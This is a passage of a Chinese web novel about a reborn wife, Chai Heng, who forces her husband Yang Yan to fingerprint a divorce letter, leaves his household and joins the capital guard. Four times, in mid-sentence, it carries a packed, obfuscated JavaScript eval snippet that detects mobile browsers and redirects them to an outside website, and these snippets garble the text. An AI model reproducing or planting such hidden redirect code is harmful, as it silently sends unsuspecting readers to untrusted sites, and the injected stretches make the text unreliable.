周九摸着头,没想明白怎么自家主子看起来对纪纲这么不待见的样子,但意识到再说话就有些招人烦了,于是只好先麻溜地把人领走。 “你害怕?” 杨衍冷不丁开口。 他知道自己说得其实是废话,按照她刚刚吐露心声那个劲头,再加上纪纲拿出那堆东西来的时候,她那一抖,怎么可能不怕? 柴蘅:“那倒没有,他刚拿出来的时候,我挺害怕的。后来开始庆幸。” “庆幸什么?” “庆幸上一世死得早一点,不然那些东西一一在我身上试一遍,我还不如死了呢。”柴蘅如实地回,疼一回跟疼十回,哪个更可怕,她还是分得清的。 屋子里灯火通明,杨衍把她放回到床上:“你是我的妻子,我不可能用这些东西来对付你。” 他眉眼沉沉,说这话的时候,神色莫辨。 那是在放屁。 柴蘅能信他就有鬼,她突然想起来他上一回的解释,说他没有放那个兽夹。 “其实事情已经过去了,我也没有报复你。你放了那个兽夹就放了,即使跟母亲联手在上面抹了毒也没有什么丢人的,这有什么不好承认的。”柴蘅在榻上坐好,回来的那一阵晚风吹得她整个人已经十分清醒了,此刻胳膊上的红疹子还是做痒,她难受得厉害,在心底里给杨衍多增加了一条罪状,敢做不敢认。 “你凭什么觉得是我放的?”杨衍冷冷地瞥她一眼。 “因为你前脚说要我断手断脚,后脚纪纲的那个坑里就出现了那个兽夹。”柴蘅道,“天下不会有这么巧合的事情的,而且你也不用说你不可能用那些东西对付我,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268503|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候我们的关系已经僵成了那样了,我知道我给你添了麻烦,想要找你缓和关系,你也不愿意。那时候,我如果继续抓着薛如月不放,你敢说,你真的不会杀了我么?” 烛火幽微,照着柴蘅那一双清亮的眼睛,她嘲讽地开口,只有当局者才会心知肚明对方能走到哪一步。 事已至此,再多的解释已经没有意义。 杨衍不想再提这个,只是道:“做错的事情,我认。纪纲来到了侯府,你想出气,可以随时指派他给我挖几个坑。如果不满意,纪纲的那一堆东西,你都可以放进坑里去,你从前经历的,我可以一一还给你。” “但柴蘅,和离这两个字,你不该随便说出口。” 摇曳的烛火下,他原本就冷峻的侧脸显得更冷了几分,带着几分不为人知的紧绷。 柴蘅心想,她哪里随便了,他哪只眼睛看到她随便了? 她分明是深思熟虑,想了很久。甚至,前世的时候就动过这个念头了。 “我一点都不随便,我早就想好了,在你不知道的时候。” 柴蘅很自然地白他一眼。 “这个是和离书,我请师兄帮我们拟好了。” “你盖上你的印,或者画押都行。从此以后,你走你的阳关道,我过我的独木桥,我们井水不犯河水。” 她说着,从袖子里把早已经准备好的和离书拿出来,端端正正地放在榻前的小几上。 怪不得陆识初那个小贱人今日临走前意味深长地看了他一眼。 杨衍眉心直跳,甚至被气笑了。 “陆识初帮你写这个,你有想过他是什么用心么?” 柴蘅:“那自然是希望我早日脱离苦海。”她的师兄,对她什么样,她还能不清楚么? 柴蘅说完这句话后抬头看着他,万事俱备,只欠东风。她眼神里隐隐含着期待。 杨衍不觉得自己对她有多少夫妻间的情爱,至少他自己是这么认为的。更多的是十多年相处下来的习惯。 和离,想到这两个字他一点都不痛快。但如果换一个人再跟他磨合个十几年,然后跟他提和离,他想,他也依旧会不痛快。 所以虽然他不想真的和离,但在这种情况下,想要他说出“不”这个字是万万不可能的。 “虽然我没有像你喜欢我一样喜欢过你,但柴蘅,多多少少我们也在一起陪伴了对方很多年,我也把你当成后来唯一的亲人,虽然从前有龃龉,但我愿意不犯从前的错,倘若你也能不犯从前的错的话,其实我们在一起也是能把这一辈子过好。” 他斟酌着用词,旁敲侧击地告诉她,可以再想一想。 14. 不悔 “不用了。” “如果这一世,薛怀远还想对芙蓉山下手的话,我还是会犯以前你认为的错。所以咱俩这辈子也过不好。” 十多年的感情不是一朝一夕的事情,养一只狸奴养一只兔子即使被咬了,到要分开的那一天也依旧会怅然,但如果知道结出来的是苦果,还要再尝一口,岂不是太傻了。 柴蘅说着,把腰间的刀子取下来,趁着杨衍还没回过神来,拽过他的手,用刀尖划破他的指尖取了一滴血,拿过那封和离书,强行把他的手指摁在了上面。 想着他既然流血了,那流着也是浪费,干脆用借他指尖的血蹭在了自己的手指上,一气呵成,顺带着把自己的指印也摁了。 如此,一封有效力的和离书就已经得到。 她的动作一气呵成,如同行云流水,没有半点不舍得。 看到这里,杨衍气得抖了抖,平静地嗤道:“柴蘅,你不要告诉我,你还想回到芙蓉山?” “前世芙蓉山经历了什么,你我都很清楚,你山上那一堆叔伯婶婶是前朝余孽也是事实。靖王护得了他们二十年,护不了他们一辈子,靖王一死,靖南军一散,他们就是皇权下的鱼肉。你放着好好的侯府夫人不做,要去做案板上的一块肥肉么?” 他居高临下地开口,说的直白,但却是事实。 师父师娘死后,芙蓉山一下子就没有了倚仗。圣人老了,那些前朝旧怨又总在他的脑子里回想,所以总想着多杀些故人陪他一起去死,即使没有薛怀远揣测圣意,为了保薛家的荣华富贵带着薛家军放火烧山,杀光山上所有人,也会有马怀远,林怀远。 这之间无甚差别。 甚至,柴蘅很清楚,如果前世不是嫁给了他,她还在芙蓉山待着,兴许会死的更早一点。 可那又怎样? 那是上辈子的事了,这辈子不试试看,谁又知道是个什么结果? “我从来没有确定地指望过我这辈子选的路就一定比上辈子正确,但杨衍,我很确定的一点是,如果还按照上辈子那样走,那必然是错的。”柴蘅笃定地笑了笑。 “所以,你要去狗都不待的京卫司?” “我知道崔如是答应了你,让你去幽州,离芙蓉山近一些。但柴蘅,崔如是喝大酒答应你的话,你能信几分?”杨衍摩挲着手中的扳指,眼底尽是嘲弄,“你如果走不掉,就会发现给官家做事也分三六九等,在京中遇见我,你还得跪着叫我一声大人,你愿意?” “我不愿意,但倘若我的同僚能这样做,我也能。”柴蘅回答地坦然。 她既然这么说。 杨衍自然无话可说:“那但愿你不要有后悔,回来找我的那一天。”说这句话的时候,他情不自禁地攥紧了手里的扳指。 “我只要没疯,就永远不会后悔。” …… 柴蘅搬离平陵侯府是在跟杨衍把和离书双双画押了的第二日,她一大早就收到了一个不太好的消息,那就是崔如是像杨衍预料的一样,派人跟她讲,说幽州那边不缺人了,昨天给她走的程序是在留在京城的程序,至于给的那个令牌纯属一个纪念,没什么大用。她三日后要入职的还是京城的京卫正司。 崔如是这个人一向不靠谱。 一大清早收到这个消息,柴蘅很不高兴,但她忙着把东西搬离平陵侯府,也就没空跟他计较。准备先到京郊的一处别院暂住,等安顿下来,再去找他的麻烦。 “世子,夫人怎么叫了几个人在收东西呢?我看连西厢房的木料都让人往外挪动了。” 第一个发现这个府上有些不对的人是周九,柴蘅的那堆破木头以前是雷打不动放在那里的,就是发霉了也要过一遍她的眼才能确定扔或不扔。眼下,却被人通通抬了出去。 从柴蘅早上开始收拾要离开的东西开始,杨衍就没再涉足过卧房。他眼不见心不烦待在书房里,整理从兵部送过来的公文。冬日里的阳光透过窗户的缝隙照进来,落在他那一张清隽的脸上,留下淡淡的侧影,至于看进去多少公文,他自己也不清楚。 “日后这个府上没有夫人。”杨衍头也不抬,只淡淡地回周九。 周九这一回傻眼了:“可昨晚分明,您还是背着夫人回来的。夫人看起来还挺高兴。” 杨衍:“她哪一天不高兴过?” 周九如实回:“那倒也没有,薛姑娘每回来找您,跟您一起待在书房的时候,夫人都不太高兴。” 杨衍听他这么说,似乎也想起了什么,但很快又不以为然道:“那是她自己小心眼,怨谁?” “薛家姨母活着的时候早年神医圣手,救过我母亲和我的命,薛如月找我借几本金石录,我借给她有什么不可以?” 听到这句话,周九头皮一麻,突然知道为什么柴蘅此刻正在往外搬东西了。 “可是您先前还在向小人讨教如何缓和夫妻关系,您看看,要不要趁着夫人人还在府上,去求求她?” “求谁?”杨衍仿佛听到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268504|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天大的笑话,他这一辈子还没有求过谁,求她做什么?求她回来么? 他不是一定要柴蘅做他的妻子,倘若换一个人,他还能少收拾一点像前世一样的烂摊子。 察觉到杨衍的不悦,周九许多想说的话又憋了回去,“那……我先退下。” “慢着。” 杨衍突然阖上手里的公文,“你把库房里所有的银票都拿出来,趁着她清点她的衣物,把它们塞进她的包袱里。” 穷家富路,他对于她将来过得如何没什么兴趣,但毕竟十几年的夫妻,万一哪一日需要用上银钱,也能够傍身。不至于出去丢他的脸。 “成。”周九咽了咽口水,麻溜地往库房跑。 柴蘅的那一堆木头就足足运了一个上午,等到离开侯府已经是正午。好在如今还是冬日,不算太热,她把香巧的身契还给香巧后,就踏出了侯府的大门。陆识初正在门口等她,他帮她租了几辆马车,京郊的宅子是师父师娘在她成婚那一年送给她的,也被陆识初派人去收拾过了。 上了车,陆识初问她:“你和离是大事,要不要去知会柴夫人一声?” “不用。” 知会她等于挨打,柴蘅还没有傻到自己去讨打的地步。 “那她若是知道该如何?” “知道便知道,她迟早要知道。和离都已经和离了,她这么喜欢杨衍这个女婿,让薛如月这个干女儿再嫁给他也行,对于我母亲来说,左右是不亏的。”柴蘅安静地说,已然十分了解苏白玉这个母亲。 她从西戎回来后,从那个乖顺的女儿一下子变得无所谓起来,这让陆识初有些惊讶。 但世上事,总归有它的道理。陆识初也不多问,而是道: “师父来信,说是西戎那边的战局不超过一个月便可平定。他跟师娘会先到京城来,我也是刚刚得知崔如是骗了你,你看,你是要先在京卫司做他一个月的部下,还是直接在京郊等师父师娘?” “做他一个月部下吧。” 柴蘅想,人总是不能闲着的,闲下来就会发霉。 陆识初也知道她是个闲不住的性子,既然如此,也只好依她。 “京卫司离我的府上很近,师父师娘不在,我就是你的亲人,倘若遇到了什么麻烦的事,或是跟同僚有了龃龉,都可以来找我。” 柴蘅听了心头一热,联想到前世杨衍总冷笑着说师兄是个小贱人,她在心里悲哀地想,他才是个小贱人,贱嗖嗖且卑鄙无耻不要脸。 15. 作死(1) 柴蘅走后,原本就不算热闹的侯府一下子变得更冷清了。香巧虽得了身契和银两,但总觉得这自由来得太过突然,还没从不做丫鬟了的喜悦里转换过来,于是拿了柴蘅给她的一堆东西后,还是在侯府旁不远处找了个能落脚的地方住下,等着万一哪一天自家姑娘再回来。 也正是这一天,侯府来了一个不速之客。 “世子,老侯爷回来了。” 傍晚的时候,由侍郎升任尚书的调令刚下来,杨衍前脚去兵部交接完回来,后脚就瞧见了他那离家出走另立门户已经有两三年的赌鬼老爹,他老爹怀里抱着他那死去继母前几年刚生的妹妹杨清屏。 小姑娘如今年纪尚小,才四五岁,扎两个双丫髻,红色的小头绳,因为贪吃,养得白白胖胖的。见了哥哥后,伸手就要抱,却被杨士铎一把将胖嘟嘟的小手拍了下去。 “嘿嘿,你兄长凶得很,咱们不要他抱,被他抱了后会被花子抓走的!”杨士铎没什么正行地吓着杨清屏,听懂了这句话,尚且十分年幼的杨清屏“哇”地一下就哭了出来。 作为这府上的老侯爷,杨士铎这个人没什么别的爱好,单单就两条——好赌好色。也就这两条,让他早些年把从杨衍祖父那里承袭来的百年家业差点败光。杨衍少年时候就没了母亲,跟这个父亲的关系也并不好,他打心眼里瞧不上父亲,所以早年间没少忤逆他,做个逆子。但做逆子归做逆子,早些时候,多少次把被赌坊扣在那里的杨士铎带回来的也是他。 杨士铎今年五十有二,但身形高大挺拔,气质儒雅。如今虽然老了,依旧可见年轻时俊美的五官。 在柴蘅的眼里,她这位公爹千不靠谱,万不靠谱,唯独一点好,就是长得好,所以才遗传给了杨衍一副矜贵风流的好相貌。 而此刻,他笑吟吟地抱着小女儿登门,倒也没有说什么让杨衍觉得好听的话,一开口第一句就是:“行之啊,听说柴家的那个四姑娘,我那彪悍的儿媳,终于受不了你了。” “柴夫人今早收到消息,来找我,说不知道女儿现下在何处,让我先来问问你怎么回事。” 杨衍头也不回地往里头走,杨士铎习惯了儿子的冷漠,也巴巴地跟在后面,一边跟着一边接:“其实怎么回事呢,我这个做父亲的还真是不需要过问了,毕竟你是什么德行,我最了解不过。我来只是想要提醒你,莫要行差踏错,到时候,我怕你哭啊。” 杨衍:“父亲何时见儿子哭过?” “怎么没有呢?我从前打你的时候,家法板子打断了几根,你总是跑出去,每回都能十分巧合的在不经意间被柴四捡到,那时候你们还没有成婚,她时常把高烧不断地你扛回来,然后对我这个老长辈怒目而视,你敢说,你没有哭唧唧在人家姑娘面前装柔弱?”杨士铎一副“你的这些手段颇上不得台面”的样子。 杨衍原本就不多的耐心此刻更少了一些:“父亲今日来莫非就是在这里臆测这个?” “那当然不是。” “我不是说了么?我这一回来,到底是怕你哭。”杨士铎把怀里的杨清屏抱得更紧了些,这手心手背都是肉,杨清屏是他最疼爱的继室生的孩子,可杨衍也是他最爱的原配生的孩子。这个儿子长大了后虽然一身反骨,但小时候还是人模狗样的,所以该提醒他的,杨士铎觉得自己这个做父亲的不得不来提醒。 杨衍冷漠的目光扫向他,没有半点要接受他好意的意思。 “那父亲可以回去了。” “那当然也不行。我来这一趟也挺远的,至少还得在你这里吃一顿饭不是。”杨士铎忽略自家儿子的送客令,继续道,“有些事情,你大概说起来不信,我也就不跟你说那些有的没的。但为父我近来确实变得能掐会算,甚至能掐算到将来……” 杨衍突然止住步子,眼神犀利如刀剑,一字一顿道:“能掐算到将来什么?” 杨士铎愣是被他年轻了十岁的儿子的这带着寒意的一眼看得流出虚汗,但还是尽力让自己显得不那么露怯:“能掐算到再过个几年,我的身体不好了,就会强行把清屏塞给你养。” “还有呢?” “还有就是我后来虽然身体不好了,但还是很能活,能再活个二三十年不成问题……” 杨衍狐疑地盯着他,缓缓吐出两个字:“继续。” “最后,我掐算到柴四那孩子会死,她死后你会哭得很惨。” “呵。”杨衍像是听见了什么极羞耻的事情一样,先是笑了笑,然后嘲讽道,“梦里的情景都能当真,父亲您果真是老的脑子都不灵光了。” 他绝情地说:“既如此,每月的月例银子我这个做儿子还真不敢让周九送给父亲您本人了,不如让纪嬷嬷给您管着吧,省得您不清醒的时候,连自己都卖了。” “那自然是不行的。” 他的月例银子又怎么能给别人看管呢。 杨士铎当即拒绝:“我是你爹,我自己脑子灵光不灵光,我自己还不清楚么?”他其实也暗地里观察了杨衍跟柴蘅这对儿子媳妇好一阵子了,自回京以来这两人的不寻常的表现都被他收纳入眼底。 那时候他心底里隐隐就有了一个猜想。 这个猜想在如今见到自家儿子后更加得到了证实,毕竟,他二十出头的儿子脸上和眼神里应该还是带着些许青涩和纯情的,绝不该像现在这般,满眼的阴谋算计以及冷酷无情。 既如此,他也只好用刚刚的那番话给他露个底,表明自己其实也是个重生的人,并且试图敲打敲打他,让铁树开花,让毛驴回头,但似乎并不太管用。于是,只能道: “柴四京郊的那一处宅子离我那处还是很近的,我瞧见那个姓陆的这几日可是没少过去。每回去,这两人都会坐在院子外的台阶上聊好久,我有一回路过,还以为这是哪一对夫妻呢,结果擦亮我这双老眼一瞧,嚯,这不是我前儿媳么?” 偶然听到柴蘅的消息,杨衍的心头闪过一丝异样的感觉。但很快这股子异样就没有了。 “跟我何干?” “一个前妻,她爱做什么便做什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268505|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难不成我还要日日盯着她不成?” 他平静地开口,像是真的在说一件与他无关的事情。 听他这么说,杨士铎知道自己此行来的效果不大,但他不放弃,依旧向儿子抛出邀请:“行,跟你没关系,但我总跟你有关系吧。其实,有时候你可以来看看我。”顺带去看看柴四。 这后半句话,他没有说。 前世柴蘅死后,杨衍虽然没在灵堂上表露出半分的伤心来,但作为父亲,他在灵堂之外还是看见了自己儿子伤心的样子的。但此刻要真是较真起来跟他提,他必然会说,认识了那么多年,就是养条狗死了,也会难过的,这跟喜欢不喜欢没关系。 所以杨士铎也就不提这个,只是旁敲侧击他。 当然,如他所想的一样,得到的只是淡淡地两个字“不去。” …… 把杨士铎撵走后,空荡荡的柴府又少了个叽叽喳喳的人。杨衍刚升任兵部尚书,有许多的事情要忙,许多的公文需要整理。靖南军那边虽打了个胜仗,但战后也依旧有许多要忙的事情,盘点剩余的军备,军饷,跟户部那边沟通,让户部从国库拨款买另一批新的军备,省得到了后面要用的时候,户部又临时抠搜地不肯出银子。 像从前的无数个日夜一样,他忙到很晚。直到彻底夜深,才回到卧房去歇息。深夜做梦,他梦见了柴蘅。 他近来总是会梦到一些从前细碎的片段。 他梦见他们还没有闹得那么僵的时候,她很喜欢躺在院子里的大桂花树下晒太阳。她说冬天的阳光其实比夏天的要好,尤其是下完雪之后,她会躺在那一把黄花梨的木椅子上,用毛毯把自己的脸盖起来,然后在院子里一睡就是一个下午。一直到傍晚,他从兵部回来,再把她捞起来抱回去。 他们之间似乎也不是没有完全温情的岁月。 她闲暇下来的时候也会像寻常人家的妻子一样变着法地想着给他做吃食,虽然每一样都做的很难吃。 他有时候瞧见部里同僚给家中夫人买了什么,也会有样学样带回来,虽然她总不是很喜欢。 他从梦里醒过来,一抬手发现身边空荡荡的,一个人也没有。有那么一瞬间,有些恍惚,下意识地以为又回到了他们前世冷战的那段时日,他把她关在福园里的时候。但很快又意识到,她此刻正在京郊的别院里过着她所谓想要的日子。 适逢周九过来寻他:“世子,你醒了,薛姑娘来找您。说有事求您帮忙。” “你让她在正厅等着,我随后就到。”杨衍皱了皱眉头,又问了一句,“她有没有说是什么事?” 周九露出面露难色:“好像是薛家大公子被京卫司那边的人捉走了,似乎是夫人捉的。她这几日不是刚入职京卫司么,那似乎是崔大人交给她的第一桩任务,夫人完成得很积极。” “世子,这毕竟是夫人入职京卫司后的上司交给她的第一件事,我的建议是,您最好不要插手。” “京卫司跟六部还不一样,任务失败了,是要受罚的。” 16. 作死(2) 受罚? 她敢跟他和离,敢离开侯府,敢贸然地加入那个狗都不去的京卫司,害怕受罚? 杨衍没有接他的话,只是捏了捏疲惫的眉心:“你先出去吧。” 周九不知他是什么想法,却还是恭敬道:“好。” 薛如月坐在正厅,两个熟悉她的丫鬟来给她沏了茶,她偏好玉兰花茶,府上的丫鬟也都记着,倒了茶后便让她安心坐着等着杨衍来。 不多时,杨衍换好衣裳后从卧房缓缓走了出来。 西戎一别,薛如月跟杨衍也有大半个月没有见。那时候他跟柴蘅还没有和离,她虽然存了心思,但也不想落人口舌,所以几次想问问他的腿好些没有,又没有问出口。如今听闻他们和离,薛如月也不由得想起年少时一些事。 在柴蘅没有被柴家找回来前,在那一桩指腹为婚的婚约没有定下前,她的父亲薛怀远也曾想过为她跟他议亲,那时候侯府跟薛府就婚约的事情已经开始进行商议,他也是知晓的,并且从未拒绝,那时候多多少少,他应该也是有些喜欢她的吧。可惜,命运弄人,让他们白白蹉跎了大半年,如今,一切也应该回到正轨的轨迹上来了。 “你的腿如何了?” 一见面,薛如月就关切地开口。 “好多了,拓跋元离那一箭未伤及要害,行走无碍。”杨衍从容地回,然后想起周九说的,她来找他是有要事的,于是单刀直入,“你今日来,是为了你的兄长?” 薛如月叹口气,这才娓娓道来:“前些日子,京卫司配合刑部在查一批淮海私盐案。我兄长薛从礼是做粮米生意的,你也知晓,他胆子并不大,贩卖私盐是要充军流放的罪名,他不敢的。可偏偏不知怎的,昨日他运粮的车上竟然装满了私盐,那一车粮原本是要运到城东给封掌柜的,半路就被京卫司截了下来,查出有私盐后,就被阿蘅给带走了。” 她原本想要用“京卫司的人”这五个字来指代柴蘅,转念一想,她那倒霉兄长就是她捉的,又有什么不能说的。 提及薛从礼,杨衍的神色有些耐人寻味。 薛怀远膝下一共五个子女,其他四个都是烂泥扶不上墙的,也就薛如月是个能拿得出手的。 薛从礼在她的其他兄长中也不是个拔尖的,但胆子确实小。薛家原也不缺银钱,确实犯不上去贩卖私盐。 如周九所言,京卫司捉错了人,是要受罚的。 趁这个机会,让她知道京卫司的活不好干,回来求他,好好地做她的侯府夫人,也很好。 “你想要我怎么帮你?” 薛如月道:“我知晓兵部跟刑部分管的东西并不同,所以行之,此番我来找你并非是要你徇私,而是想要你帮我同刑部那边打个招呼。京卫司捉我哥,是为了办刑部的案子,我现在只想见到我兄长,至少把事情的前因后果先搞清楚。” “可以。” “此事我会知会刑部的梁远景一声,你今日用完午膳后想去看你兄长尽管去就是。” 杨衍摩挲着手里的杯盏,沉声开口。 薛如月怔了怔,她原以为杨衍对柴蘅多多少少还是有些顾忌的,毕竟再厌恶也曾经是夫妻,所以来之前,也做好了他也有可能拒绝她准备,没想到,他答应得如此顺利,丝毫没有半点要顾忌柴蘅的意思。 这让她不禁从中品出了几分绝情的味道。 “多谢。” 薛如月温声道了谢,本来要出侯府的,突然又想起一事,“柴家姨母过几日过寿,她的帖子定然也给你了,我给她选了两件寿礼,想到老侯爷也曾经对我多加照拂,便也买了几样东西想着送给他,你今日晚间可有空与我同去?” 她这话的意思很明显了,她觉得既然他跟柴蘅已经和离,那就意味着,她与他之间并不是毫无可能。 杨衍无暇顾及她怎么想,此刻脑子里突然回想起了昨日杨士铎同他说的话,他也确实好几日没看到柴蘅了。 “好。” …… 京郊小屋里,柴蘅忙了一天回来,陆识初也下了衙,提了几条活鱼来给柴蘅杀。柴蘅坐在院子前刚把衣服晾好,就喜提杀鱼的任务。 这座宅子原本已经空置很久,厨房一直没有人使用,前几日柴蘅都是在京卫司旁找的馄饨摊子吃的馄饨。陆识初觉着,即使在这京中只待一个月,也不能凑合着过日子,于是,特地挑了这个不太忙的下午来给她擦拭灶台和生火。 柴蘅杀鱼杀得十分麻利,三下五除二,一条干干净净的鱼便剖好了。 陆识初擦拭完灶台,又出来帮她劈柴火,一边劈,一边打量这院子。 “想要去京卫司的幽州分司那是不能了,如果师父师娘也不愿意你回芙蓉山那怎么办?” 陆识初一向多思多虑,习惯把事情考虑在前。在柴蘅决定做一件事情前,总要先问她好几遍。 “那我就求他们。” “求一遍不行,就一直求。” 他们不愿意带她走,无非是觉得她在这里能过上更好的日子,但事实上,京城这个地方克她克的要死,多在师父师娘面前说几句杨衍的坏话,把他说的猪狗不如,再多说几句母亲的坏话,把她说的不像个人,师父师娘总会带她走的。 这也不失为是一种方法。 陆识初哑然失笑,很快又道:“这几日在京卫司过得怎么样?崔如是说,他昨儿接到情报说闹市上有私盐贩子,你不过用了一个上午,就捉到了。” “那是薛如月的兄长。” 柴蘅倒也没有什么料事如神的本事,只是单纯昨日接到崔如是的私盐贩子线报后,她就跟几个京卫司的其他兄弟在街市上看了,好巧不巧,就瞥见了薛从礼。 薛从礼这个人吧,因为薛如月的关系,对她敌意很大。 准确地说,薛家人对她敌意都很大。 平日里,薛从礼遇到她,虽然不像他的其他几个哥哥一样会正儿八经地挑衅她,但给她一记白眼还是顺手的事儿,可这一回,很是奇怪,看到她的时候慌慌张张就躲过去了,事出反常必有妖,她也就跟了过去,结果发现他的那一辆押粮车上满是私盐。 当天,她就把薛从礼给送进刑部大牢了。 “薛如月来找你麻烦了么?”陆识初关怀地问。 柴蘅愣了愣道:“她从不主动找我麻烦,她一般都是借力打力,让杨衍跟我母亲找我麻烦,不过,我如今已经跟平陵侯府断了关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268506|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,母亲那边我也不走动,他们找我麻烦,我也不怕他们。” 说完这话,她突然意识到,昨日怎么也能算是她给京卫司完成了一个大任务,无论怎样,还是该庆祝庆祝的,于是扭头钻进她放木料的屋子,从里面挑了一个她这几日新雕的木头送给陆识初。 那是一只狸奴模样的木雕,圆头圆脑,胖嘟嘟的,看上去十分喜人。 “这个送给你师兄。” “我今日还买了一壶烧酒,一只烧鸡和几盒糕点,等会儿你做完鱼,我们就一起吃饭。” 陆识初接过柴蘅手里的小木雕,用绳子扣在自己的腰间,诚恳地说:“你近来雕工渐长,要比小时候好多了。” “人嘛,一直做一件事情总归是会越做越好的。”柴蘅笑了笑,拍了拍裙子上的灰,扭头进屋开始摆盘子。 陆识初去给她生火,炖鱼。 傍晚时分,小院子里炊烟袅袅,杨士铎从集市上回来,怀里抱着杨清屏,杨清屏手里拿着个拨浪鼓,小姑娘年纪虽小,但已经会说话了,见柴蘅从屋子里走出来打井水,含含糊糊叫了一声“嫂嫂。” 杨士铎闻见炖鱼的香气,很不客气地想要去蹭饭。但又舍不下一张老脸,只好问杨清屏:“想去你嫂嫂那里吃饭嘛?” 小姑娘点点头。 杨士铎“嘿嘿”一笑,厚颜无耻地迈着步子走进去:“柴四啊。” 这又老迈又厚颜无耻的声音唤醒了柴蘅,她猛地一抬头,就瞧见了前公爹。此刻,他正笑盈盈地看着自己。 柴蘅:“……” 她前世也记得他这样笑过,那一回是他非说自己得了重病要死了,把年幼的杨清屏硬塞给了她跟杨衍养。可后来愣是又活了十几年都没死,至少活得比她长。 柴蘅愣了半天,勉强叫了一声:“老侯爷。” 她不叫公爹,叫老侯爷,让杨士铎这一颗老迈但脆弱的心痛了一下。但心痛仅仅是一瞬间,很快,他又舍出一张老脸去: “我能在你这里吃饭么?” “其实啊,我那院子离你也近,院子里的下人做吃食味道也不错的,就是清屏吧,瞧见了你,非闹着过来吃,我这才只好勉为其难地过来。” 杨士铎伸出一只没抱孩子的手捋了捋胡子,柴蘅从前对这个公爹多少还是有点意见的,因为他不靠谱就罢了,还爱动手,关键下手还十分重。从前杨衍跟他硬碰硬的时候,没少被他打得满身都是血痕,她那时候心疼杨衍,自然不想给这个公爹好脸色。 可话又说回来,她现在只觉得,从前他罚杨衍罚的还是太轻了。 “可以。” “您进去坐就好。” 柴蘅没什么赶客的经验,陆识初端着刚做好的鱼出来,见她犹豫,倒是直接替她做了决定。 瞧见陆识初的那一刻,杨士铎的心灰了一片。正哀叹着,完蛋了,自家儿子怕是真的永远要没有媳妇了,打眼往外一瞧,竟瞧见了自家儿子。 不仅瞧见了自家儿子,还瞧见了薛家那个。 “父亲。” 杨衍站在院子外头,十分淡漠地喊了他一声。 只这一声,让杨士铎有一种被抓包的感觉。